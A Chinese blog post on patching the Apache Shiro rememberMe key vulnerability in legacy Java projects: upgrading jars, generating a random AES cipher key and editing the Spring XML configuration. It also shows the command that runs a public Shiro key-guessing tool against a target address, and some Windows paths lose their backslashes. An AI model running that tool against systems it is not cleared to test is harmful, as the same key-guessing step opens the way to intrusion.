最近阿里云发了漏洞短信,需要在以后的老项目中修复漏洞,修复了6套Java项目,不同项目修复方式有所不同,特写此篇博客,以作备忘,欢迎大家留言讨论。
1.漏洞说明
1.1阿里云漏洞短信内容
1.2阿里云漏洞详细报告
2.详细修复步骤
2.1下载漏洞验证工具
漏洞验证工具:https://github.com/wyzxxz/shiro_rce,或者从http://www.zrscsoft.com/sitepic/12120.html中下载
下载的shiro_tool.jar文件,建设保存在D:download目录,即
根据阿里云漏洞报告,
执行D:workjdk1.8.0injava.exe -jar shiro_tool.jar http://{您的IP地址}命令,
具体如下:
D:download>D:workjdk1.8.0injava.exe -jar shiro_tool.jar http://{您的IP地址}
[-] target: http://{您的IP地址}
[-] target is use shiro
[-] start guess shiro key...

3.Java项目修改
3.1修改前注意事项
shiro需要升级到1.7.0
shiro1.7.0的spring相关jar要求在4.0版本以上
spring4.0以上版本要求jdk1.8.0以上
3.2Jar包准备
shiro1.7.0的jar如下:
shiro-core-1.7.0.jar
shiro-ehcache-1.7.0.jar
shiro-spring-1.7.0.jar
shiro-web-1.7.0.jar
spring相关jar要求在4.0版本以上,这里建设更新到spring-5.2.10.RELEASE版本,
spring-5.2.10.RELEASE版本相关的jar,请参考https://blog.csdn.net/jlq_diligence/article/details/109771710博客,自行下载
我这边需要的jar大致如下,不同的项目有所不同
3.3增加一个自定义秘钥代码
参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
import org.apache.shiro.codec.Base64; import org.apache.shiro.crypto.AbstractSymmetricCipherService; import org.aspectj.apache.bcel.generic.IINC; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import java.security.Key; import java.security.NoSuchAlgorithmException; /** * shiro 秘钥生成器 * * @author admin shiro有自己的随机生成秘钥的方法 秘钥生成器 * * */ public class MySymmetricCipherService extends AbstractSymmetricCipherService { protected MySymmetricCipherService(String algorithmName) { super(algorithmName); // TODO Auto-generated constructor stub } public static byte[] generateNewKeyFromSuper() { KeyGenerator kg; try { kg = KeyGenerator.getInstance("AES"); } catch (NoSuchAlgorithmException var5) { String msg = "Unable to acquire AES algorithm. This is required to function."; throw new IllegalStateException(msg, var5); } kg.init(128); SecretKey key = kg.generateKey(); byte[] encoded = key.getEncoded(); return encoded; } /** * 使用shiro官方的生成 * org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey() * @return */ public static byte[] getCipherKey() { MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES"); Key gKey = mySymmetricCipherService.generateNewKey(); return gKey.getEncoded(); } public static void main(String[] args) { MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES"); Key gKey = mySymmetricCipherService.generateNewKey(); System.out.println("key: " + gKey.getEncoded()); System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded())); byte[] decodeValue = org.apache.shiro.codec.Base64.decode("t0EWNQWKMXYzKTDSQpNNfg=="); System.out.println("decodeValue: " + decodeValue); } }
3.4修改shiro配置
例如shiro配置文件为spring-shiro.xml,不同项目,文件名有所不同,修改的位置,大致如下
<!-- 定义Shiro安全管理配置 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="shiroDbRealm" />
<property name="cacheManager" ref="cacheManager" />
<!-- 加入rememberMe的配置管理 -->
<property name="rememberMeManager" ref="rememberMeManager" />
</bean>
<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<property name="cipherKey" value="#{T(com.**.realm.MySymmetricCipherService).getCipherKey()}" />
<property name="cookie" ref="rememberMeCookie" />
</bean><!-- remenberMe配置 -->
<bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
<constructor-arg value="rememberMe" />
<property name="httpOnly" value="true" />
<!-- 默认记住7天(单位:秒) -->
<property name="maxAge" value="604800" />
</bean>
3.5修复后漏洞检测结果

【解决方法】JDK更换为JDK1.8
详细描述如下:
当改变了jdk版本时,在编译java时,会遇到Unsupported major.minor version错误。
jdk版本和stanford parser对应关系
JDK版本和Java编译器内部的版本号
J2SE 8 = 52,
J2SE 7 = 51,
J2SE 6.0 = 50,
J2SE 5.0 = 49,
JDK 1.4 = 48,
JDK 1.3 = 47,
JDK 1.2 = 46,
JDK 1.1 = 45
4.2org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter报错
【解决方法】
<bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter">
修改为:
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter">
4.3 java.lang.NoClassDefFoundError: org/owasp/encoder/Encode
【现象】
java.lang.NoClassDefFoundError: org/owasp/encoder/Encode

【解决方法】
添加 encoder-1.2.2.jar
